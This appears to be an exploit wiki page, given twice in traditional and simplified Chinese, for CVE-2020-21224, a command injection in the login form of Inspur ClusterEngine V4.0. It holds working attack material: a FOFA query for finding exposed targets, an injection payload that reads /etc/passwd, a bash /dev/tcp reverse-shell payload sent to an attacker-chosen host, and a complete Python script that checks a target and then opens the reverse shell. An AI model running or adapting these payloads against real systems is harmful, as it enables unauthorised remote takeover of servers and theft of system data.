# CVE-2020-21224 浪潮ClusterEngineV4.0 遠程命令執行漏洞/zh-cn
==漏洞影响==
浪潮ClusterEngineV4.0
==FOFA==
title="TSCEV4.0"
==POC==
出現 root:x:0:0 則存在漏洞
op=login&username=test`$(cat /etc/passwd)` {"err":"/bin/sh: root:x:0:0:root:/root:/bin/bash: No such file or directory\n","exitcode":1,"out":"the user test does not exist\nerror:1\n"}
==反彈shell==
op=login&username=test`$(bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}}%2F{PORT}%200%3E%261)`
==EXP==
import requests import sys import random import re from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: 浪潮ClusterEngineV4.0 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+ \033[36mIP >>> xxx.xxx.xxx.xxx:9999 \033[0m') print('+ \033[36mPORT >>> 9999 \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/login" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", } data = "op=login&username=test`$(cat /etc/passwd)`" try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=4) etc_passwd = re.findall(r'\{"err":"/bin/sh: (.*?): No such', response.text) if response.status_code == 200 and "root:x:0:0" in response.text: print("\033[32m[o] 目标 {} 可能存在漏洞, 响应为:{} \033[0m".format(target_url, etc_passwd[0])) POC_2(target_url) else: print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url)) except Exception as e: print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url)) def POC_2(target_url): IP = str(input("\033[35m请输入监听IP >>> \033[0m")) PORT = str(input("\033[35m请输入监听PORT >>> \033[0m")) vuln_url = target_url + "/login" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", } data = "op=login&username=`bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`".format(IP, PORT) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False) except Exception as e: print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url)) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
==參考==
https://short.pwnwiki.org/?c=aLBsJw
==漏洞影响==
浪潮ClusterEngineV4.0
==FOFA==
title="TSCEV4.0"
==POC==
出现 root:x:0:0 则存在漏洞
op=login&username=test`$(cat /etc/passwd)` {"err":"/bin/sh: root:x:0:0:root:/root:/bin/bash: No such file or directory\n","exitcode":1,"out":"the user test does not exist\nerror:1\n"}
==反弹shell==
op=login&username=test`$(bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}}%2F{PORT}%200%3E%261)`
==EXP==
import requests import sys import random import re from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: 浪潮ClusterEngineV4.0 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+ \033[36mIP >>> xxx.xxx.xxx.xxx:9999 \033[0m') print('+ \033[36mPORT >>> 9999 \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/login" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", } data = "op=login&username=test`$(cat /etc/passwd)`" try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=4) etc_passwd = re.findall(r'\{"err":"/bin/sh: (.*?): No such', response.text) if response.status_code == 200 and "root:x:0:0" in response.text: print("\033[32m[o] 目标 {} 可能存在漏洞, 响应为:{} \033[0m".format(target_url, etc_passwd[0])) POC_2(target_url) else: print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url)) except Exception as e: print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url)) def POC_2(target_url): IP = str(input("\033[35m请输入监听IP >>> \033[0m")) PORT = str(input("\033[35m请输入监听PORT >>> \033[0m")) vuln_url = target_url + "/login" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", } data = "op=login&username=`bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`".format(IP, PORT) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False) except Exception as e: print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url)) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
==参考==
https://short.pwnwiki.org/?c=aLBsJw
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